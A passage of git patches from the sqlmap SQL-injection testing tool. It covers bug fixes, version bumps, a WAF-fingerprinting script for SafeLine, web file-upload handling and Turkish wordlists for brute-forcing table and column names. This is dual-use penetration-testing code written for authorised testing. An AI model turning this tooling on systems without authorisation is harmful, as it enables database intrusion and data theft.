"</tr>\n" + output += "</table>\n" + output += "</body></html>"; + except Exception as ex: + output = "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex) + + self.wfile.write(output.encode("utf8")) + else: + self.send_response(NOT_FOUND) + self.send_header("Connection", "close") + self.end_headers() + + def do_GET(self): + self.do_REQUEST() + + def do_POST(self): + length = int(self.headers.get("Content-length", 0)) + if length: + data = self.rfile.read(length) + data = unquote_plus(data.decode("utf8")) + self.data = data + self.do_REQUEST() + +def run(address=LISTEN_ADDRESS, port=LISTEN_PORT): + global _server + try: + _server = ThreadingServer((address, port), ReqHandler) + print("[i] running HTTP server at '%s:%d'" % (address, port)) + _server.serve_forever() + except KeyboardInterrupt: + _server.socket.close() + raise + +if __name__ == "__main__": + try: + init() + run(sys.argv[1] if len(sys.argv) > 1 else LISTEN_ADDRESS, int(sys.argv[2] if len(sys.argv) > 2 else LISTEN_PORT)) + except KeyboardInterrupt: + print("\r[x] Ctrl-C received") diff --git a/lib/core/settings.py b/lib/core/settings.py index 1b88657821a..a3ea56719db 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.78" +VERSION = "1.3.3.79" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -98,7 +98,7 @@ PRECONNECT_CANDIDATE_TIMEOUT = 10 # Servers known to cause issue with pre-connection mechanism (because of lack of multi-threaded support) -PRECONNECT_INCOMPATIBLE_SERVERS = ("SimpleHTTP",) +PRECONNECT_INCOMPATIBLE_SERVERS = ("SimpleHTTP", "BaseHTTP") # Maximum sleep time in "Murphy" (testing) mode MAX_MURPHY_SLEEP_TIME = 3 From d3959e926e6fae3a895ffb7edb560c467e8b01b7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Fri, 29 Mar 2019 16:23:39 +0100 Subject: [PATCH 204/800] Trivial update --- lib/core/settings.py | 2 +- plugins/dbms/sqlite/enumeration.py | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index a3ea56719db..0d0b2afd1fc 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.79" +VERSION = "1.3.3.80" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/sqlite/enumeration.py b/plugins/dbms/sqlite/enumeration.py index 4330bc91a1a..b0b6efe80a1 100644 --- a/plugins/dbms/sqlite/enumeration.py +++ b/plugins/dbms/sqlite/enumeration.py @@ -22,6 +22,8 @@ def isDba(self): warnMsg = "on SQLite the current user has all privileges" logger.warn(warnMsg) + return True + def getUsers(self): warnMsg = "on SQLite it is not possible to enumerate the users" logger.warn(warnMsg) From 6b5db1f959ac1ba8229f0b2b1cab18c2693e082b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Mon, 1 Apr 2019 09:47:36 +0200 Subject: [PATCH 205/800] Fixes #3560 --- lib/core/settings.py | 2 +- lib/takeover/web.py | 6 ++++++ 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 0d0b2afd1fc..f6373c3aac5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.80" +VERSION = "1.3.4.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 27e522ad53e..95c3e50fd29 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -100,6 +100,12 @@ def webUpload(self, destFileName, directory, stream=None, content=None, filepath if content is not None: stream = io.BytesIO(content) # string content + # Reference: https://github.com/sqlmapproject/sqlmap/issues/3560 + # Reference: https://stackoverflow.com/a/4677542 + stream.seek(0, os.SEEK_END) + stream.len = stream.tell() + stream.seek(0, os.SEEK_SET) + return self._webFileStreamUpload(stream, destFileName, directory) def _webFileStreamUpload(self, stream, destFileName, directory): From f445fbe75bc328ded3b7963f0d1877eefaf06588 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Fri, 5 Apr 2019 09:38:56 +0200 Subject: [PATCH 206/800] Fixes #3566 --- lib/core/settings.py | 2 +- plugins/generic/databases.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index f6373c3aac5..12c44b89f8c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.4.0" +VERSION = "1.3.4.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 8e2ee551499..1cfda1adb64 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -597,7 +597,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod kb.dumpColumns = [] kb.rowXmlMode = True - for column in extractRegexResult(r"SELECT (?P<result>.+?) FROM", query).split(','): + for column in (extractRegexResult(r"SELECT (?P<result>.+?) FROM", query) or "").split(','): kb.dumpColumns.append(randomStr().lower()) expression = expression.replace(column, "%s AS %s" % (column, kb.dumpColumns[-1]), 1) From 3275d9c7097239463767c2e59768fe0758422026 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Sat, 6 Apr 2019 11:14:56 +0200 Subject: [PATCH 207/800] Minor patch (in case of continuous DROP) --- lib/core/settings.py | 2 +- lib/request/connect.py | 8 ++++++-- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 12c44b89f8c..655452df0e6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.4.1" +VERSION = "1.3.4.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index ed782d65cda..8247a15e502 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -82,6 +82,7 @@ class WebSocketException(Exception): from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapSyntaxException from lib.core.exception import SqlmapTokenException +from lib.core.exception import SqlmapUserQuitException from lib.core.exception import SqlmapValueException from lib.core.settings import ASTERISK_MARKER from lib.core.settings import BOUNDARY_BACKSLASH_MARKER @@ -725,8 +726,11 @@ class _(dict): kb.connErrorChoice = readInput(message, default='N', boolean=True) - if kb.connErrorChoice is False: - raise SqlmapConnectionException(warnMsg) + if kb.connErrorChoice is not None: + if kb.connErrorChoice: + raise SqlmapConnectionException(warnMsg) + else: + raise SqlmapUserQuitException if "forcibly closed" in tbMsg: logger.critical(warnMsg) From 89c6cc725bee6c1beab3751ce9d83e6425002d24 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Mon, 8 Apr 2019 22:56:31 +0200 Subject: [PATCH 208/800] Probably fixes #3570 --- lib/core/settings.py | 2 +- waf/generic.py | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 655452df0e6..4e78f337197 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.4.2" +VERSION = "1.3.4.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/waf/generic.py b/waf/generic.py index 6fa4e44193c..6e6aa1d0551 100644 --- a/waf/generic.py +++ b/waf/generic.py @@ -7,6 +7,7 @@ import re +from lib.core.common import getUnicode from lib.core.data import kb from lib.core.settings import GENERIC_PROTECTION_REGEX from lib.core.settings import IPS_WAF_CHECK_PAYLOAD @@ -26,7 +27,7 @@ def detect(get_page): if code >= 400 or (IPS_WAF_CHECK_PAYLOAD in vector and (code is None or re.search(GENERIC_PROTECTION_REGEX, page or "") and not re.search(GENERIC_PROTECTION_REGEX, original or ""))): if code is not None: - kb.wafSpecificResponse = "HTTP/1.1 %s\n%s\n%s" % (code, "".join(_ for _ in (headers.headers if headers else {}) or [] if not _.startswith("URI")), page) + kb.wafSpecificResponse = "HTTP/1.1 %s\n%s\n%s" % (code, "".join(getUnicode(_) for _ in (headers.headers if headers else {}) or [] if not _.startswith("URI")), getUnicode(page or "")) retval = True break From 05f92d5d45ef593d6e55ac25d6e8b86690fe63b0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Mon, 8 Apr 2019 23:49:55 +0200 Subject: [PATCH 209/800] Fixes #3552 --- lib/controller/controller.py | 8 ++++++++ lib/core/settings.py | 2 +- 2 files changed, 9 insertions(+), 1 deletion(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index d2d6f78991e..68bd04ecd10 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -48,6 +48,7 @@ from lib.core.enums import CONTENT_TYPE from lib.core.enums import HASHDB_KEYS from lib.core.enums import HEURISTIC_TEST +from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import NOTE from lib.core.enums import PAYLOAD @@ -318,6 +319,13 @@ def start(): conf.cookie = targetCookie conf.httpHeaders = list(initialHeaders) conf.httpHeaders.extend(targetHeaders or []) + + if conf.randomAgent or conf.mobile: + for header, value in initialHeaders: + if header.upper() == HTTP_HEADER.USER_AGENT.upper(): + conf.httpHeaders.append((header, value)) + break + conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])] initTargetEnv() diff --git a/lib/core/settings.py b/lib/core/settings.py index 4e78f337197..bc17d0c271c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.4.3" +VERSION = "1.3.4.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 1f0fb7ab48e689ef3d11a3fafba254a4884b778a Mon Sep 17 00:00:00 2001 From: tanaydin sirin <huzursuz@gmail.com> Date: Fri, 12 Apr 2019 10:22:21 +0200 Subject: [PATCH 210/800] Added some Turkish words for common tables. (#3575) --- txt/common-tables.txt | 46 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 46 insertions(+) diff --git a/txt/common-tables.txt b/txt/common-tables.txt index 0067d971675..95d234b330c 100644 --- a/txt/common-tables.txt +++ b/txt/common-tables.txt @@ -3354,6 +3354,52 @@ aliastype mymps_mail_sendlist mymps_navurl +# site:tr +kullanici +kullanicilar +yonetici +yoneticiler +adres +adresler +yayincilar +yayinci +urun +urunler +kategori +kategoriler +ulke +ulkeler +siparis +siparisler +bayi +bayiler +stok +reklam +reklamlar +site +siteler +sayfa +sayfalar +icerik +icerikler +yazi +yazilar +genel +istatistik +istatistikler +duyuru +duyurular +haber +haberler +komisyon +ucret +ucretler +bilgi +basvuru +basvurular +kontak +kontaklar + # List provided by Pedrito Perez (0ark1ang3l@gmail.com) adminstbl admintbl From 40393b29a08f089c70e2916bdd77096b1e8cc5c0 Mon Sep 17 00:00:00 2001 From: tanaydin sirin <huzursuz@gmail.com> Date: Fri, 12 Apr 2019 10:23:53 +0200 Subject: [PATCH 211/800] Added some Turkish words for common columns. (#3573) --- txt/common-columns.txt | 73 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 73 insertions(+) diff --git a/txt/common-columns.txt b/txt/common-columns.txt index 5d7c5b62452..abcfb489b82 100644 --- a/txt/common-columns.txt +++ b/txt/common-columns.txt @@ -531,6 +531,79 @@ sifra lozinka kljuc +# turkish +numara +sira +lokasyon +kullanici +kullanici_adi +sifre +giris +pasif +posta +adres +is_adres +ev_adres +is_adresi +ev_adresi +isadresi +evadresi +il +ilce +eposta +eposta_adres +epostaadres +eposta_adresi +epostaadresi +e-posta +e-posta_adres +e-postaadres +e-posta_adresi +e-postaadresi +e_posta +e_posta_adres +e_postaadres +e_posta_adresi +e_postaadresi +baglanti +gun +ay +yil +saat +tarih +guncelleme +guncellemetarih +guncelleme_tarih +guncellemetarihi +guncelleme_tarihi +yetki +cinsiyet +ulke +guncel +vergi +vergino +vergi_no +yas +dogum +dogumtarih +dogum_tarih +dogumtarihi +dogum_tarihi +telefon_is +telefon_ev +telefonis +telefonev +ev_telefonu +is_telefonu +ev_telefon +is_telefon +evtelefonu +istelefonu +evtelefon +istelefon +kontak +kontaklar + # List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py) user pass From 3cb48ffdc3c52ee28db7c24c7e10927c873bb381 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Fri, 12 Apr 2019 11:16:42 +0200 Subject: [PATCH 212/800] Minor adjustments for issue (hash) creation --- lib/core/common.py | 3 +++ lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 2458bf4d1a1..50853d65317 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3483,6 +3483,9 @@ def createGithubIssue(errMsg, excMsg): _ = re.sub(r"\s+line \d+", "", _) _ = re.sub(r'File ".+?/(\w+\.py)', r"\g<1>", _) _ = re.sub(r".+\Z", "", _) + _ = re.sub(r"(Unicode[^:]*Error:).+", r"\g<1>", _) + _ = re.sub(r"= _", "= ", _) + key = hashlib.md5(_).hexdigest()[:8] if key in issues: diff --git a/lib/core/settings.py b/lib/core/settings.py index bc17d0c271c..f0c2bf4a0c0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.4.4" +VERSION = "1.3.4.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 1ed59267df4980fba729dc2dba1622f3e2367d03 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Fri, 12 Apr 2019 15:35:13 +0200 Subject: [PATCH 213/800] Adding new WAF script (Issue #3579) --- lib/core/settings.py | 2 +- waf/safeline.py | 19 +++++++++++++++++++ 2 files changed, 20 insertions(+), 1 deletion(-) create mode 100644 waf/safeline.py diff --git a/lib/core/settings.py b/lib/core/settings.py index f0c2bf4a0c0..ad8e277c8a7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.4.5" +VERSION = "1.3.4.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/waf/safeline.py b/waf/safeline.py new file mode 100644 index 00000000000..c9d6c669ecb --- /dev/null +++ b/waf/safeline.py @@ -0,0 +1,19 @@ +#!/usr/bin/env python2 + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "SafeLine (Chaitin Tech)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, _, _ = get_page(get=vector) + retval = all(_ in (page or "") for _ in ("SafeLine", "<!-- event_id:")) + + return retval From 4d93712c4d3f7e501f363692b827ac8a66c58318 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Fri, 12 Apr 2019 15:40:15 +0200 Subject: [PATCH 214/800] As a matter of gratitude for #3579 --- doc/THANKS.md | 3 +++ lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/doc/THANKS.md b/doc/THANKS.md index a733aa3ce17..02e5e3a838e 100644 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -764,6 +764,9 @@ ultramegaman, <seclists(at)ultramegaman.com> Vinicius, <viniciusmaxdaloop(at)gmail.com> * for reporting a minor bug +virusdefender +* for contributing WAF scripts safeline.py + w8ay * for contributing an implementation for chunked transfer-encoding (switch --chunked) diff --git a/lib/core/settings.py b/lib/core/settings.py index ad8e277c8a7..935824f8063 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.4.6" +VERSION = "1.3.4.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From ef42495318b09e8268d23d38c22e82974a8763e1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Fri, 12 Apr 2019 15:54:08 +0200 Subject: [PATCH 215/800] Patch regarding #3579 --- lib/core/settings.py | 2 +- waf/safeline.py | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 935824f8063..939aa493197 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.4.7" +VERSION = "1.3.4.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/waf/safeline.py b/waf/safeline.py index c9d6c669ecb..a0312d00067 100644 --- a/waf/safeline.py +++ b/waf/safeline.py @@ -15,5 +15,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) retval = all(_ in (page or "") for _ in ("SafeLine", "<!-- event_id:")) + if retval: + break return retval From 4b0edeb1997236c81aa82b5574dd1c5634aaf28f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Fri, 12 Apr 2019 15:58:51 +0200 Subject: [PATCH 216/800] Minor name update (#3579) --- lib/core/settings.py | 2 +- waf/safeline.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 939aa493197..7134669b1d0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.4.8" +VERSION = "1.3.4.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/waf/safeline.py b/waf/safeline.py index a0312d00067..7058832d14f 100644 --- a/waf/safeline.py +++ b/waf/safeline.py @@ -7,7 +7,7 @@ from lib.core.settings import WAF_ATTACK_VECTORS -__product__ = "SafeLine (Chaitin Tech)" +__product__ = "SafeLine Next Gen WAF (Chaitin Tech)" def detect(get_page): retval = False From dcb8025f301bb296f927ec94f42fa2a0d2fa6003 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Mon, 15 Apr 2019 13:15:21 +0200 Subject: [PATCH 217/800] Fixes #3581 --- lib/core/common.py | 30 ++++++++++++++++-------------- lib/core/settings.py | 2 +- 2 files changed, 17 insertions(+), 15 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 50853d65317..d71b98a3f3b 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3622,21 +3622,23 @@ def decodeStringEscape(value): retVal = value if value and '\\' in value: - if isinstance(value, unicode): - retVal = retVal.encode(UNICODE_ENCODING) + charset = "\\%s" % string.whitespace.replace(" ", "") + for _ in charset: + retVal = retVal.replace(repr(_).strip("'"), _) - try: - retVal = codecs.escape_decode(retVal)[0] - except: - try: - retVal = retVal.decode("string_escape") - except: - charset = string.whitespace.replace(" ", "") - for _ in charset: - retVal = retVal.replace(repr(_).strip("'"), _) + return retVal - if isinstance(value, unicode): - retVal = getUnicode(retVal) +def encodeStringEscape(value): + """ + Encodes escaped string values (e.g. "\t" -> "\\t") + """ + + retVal = value + + if value: + charset = "\\%s" % string.whitespace.replace(" ", "") + for _ in charset: + retVal = retVal.replace(_, repr(_).strip("'")) return retVal @@ -3656,7 +3658,7 @@ def _(value): return value payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ""), convall=True)) - regex = _(filterStringValue(payload, r"[A-Za-z0-9]", REFLECTED_REPLACEMENT_REGEX.encode("string_escape"))) + regex = _(filterStringValue(payload, r"[A-Za-z0-9]", encodeStringEscape(REFLECTED_REPLACEMENT_REGEX))) if regex != payload: if all(part.lower() in content.lower() for part in filterNone(regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]): # fast optimization check diff --git a/lib/core/settings.py b/lib/core/settings.py index 7134669b1d0..c126bf46dbf 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.4.9" +VERSION = "1.3.4.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 9958d77572f638e8184e189e578b4f2b2844f597 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Mon, 15 Apr 2019 14:56:34 +0200 Subject: [PATCH 218/800] Patch for #3583 --- lib/core/settings.py | 2 +- lib/request/connect.py | 5 ++++- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index c126bf46dbf..baa8c0e8a36 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.4.10" +VERSION = "1.3.4.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 8247a15e502..55eb44579bd 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -278,7 +278,10 @@ def getPage(**kwargs): if multipart: post = multipart - if chunked and post: + if not post: + chunked = False + + elif chunked: post = _urllib.parse.unquote(post) post = chunkSplitPostData(post) From faf154d2b377ccac0d5dc018cf05ff49575f83e8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Mon, 15 Apr 2019 15:15:12 +0200 Subject: [PATCH 219/800] Update regarding #3553 --- lib/core/common.py | 10 ++++++++++ lib/core/settings.py | 7 +++++-- sqlmap.py | 7 +++++++ 3 files changed, 22 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index d71b98a3f3b..71822047622 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3418,6 +3418,16 @@ def checkIntegrity(): return retVal +def getDaysFromLastUpdate(): + """ + Get total number of days from last update + """ + + if not paths: + return + + return int(time.time() - os.path.getmtime(paths.SQLMAP_SETTINGS_PATH)) // (3600 * 24) + def unhandledExceptionMessage(): """ Returns detailed message about occurred unhandled exception diff --git a/lib/core/settings.py b/lib/core/settings.py index baa8c0e8a36..89512e3c3f3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.4.11" +VERSION = "1.3.4.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -530,6 +530,9 @@ # Data inside shellcodeexec to be filled with random string SHELLCODEEXEC_RANDOM_STRING_MARKER = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" +# Period after last-update to start nagging about the old revision +LAST_UPDATE_NAGGING_DAYS = 60 + # Generic address for checking the Internet connection while using switch --check-internet CHECK_INTERNET_ADDRESS = "https://ipinfo.io/" @@ -676,7 +679,7 @@ CHECK_ZERO_COLUMNS_THRESHOLD = 10 # Boldify all logger messages containing these "patterns" -BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED") +BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than") # TLDs used in randomization of email-alike parameter values RANDOMIZATION_TLDS = ("com", "net", "ru", "org", "de", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info", "gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro", "sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe") diff --git a/sqlmap.py b/sqlmap.py index bb119e06a26..8bb852b97dd 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -43,6 +43,7 @@ from lib.core.common import createGithubIssue from lib.core.common import dataToStdout from lib.core.common import filterNone + from lib.core.common import getDaysFromLastUpdate from lib.core.common import getSafeExString from lib.core.common import getUnicode from lib.core.common import maskSensitiveData @@ -64,6 +65,7 @@ from lib.core.patch import dirtyPatches from 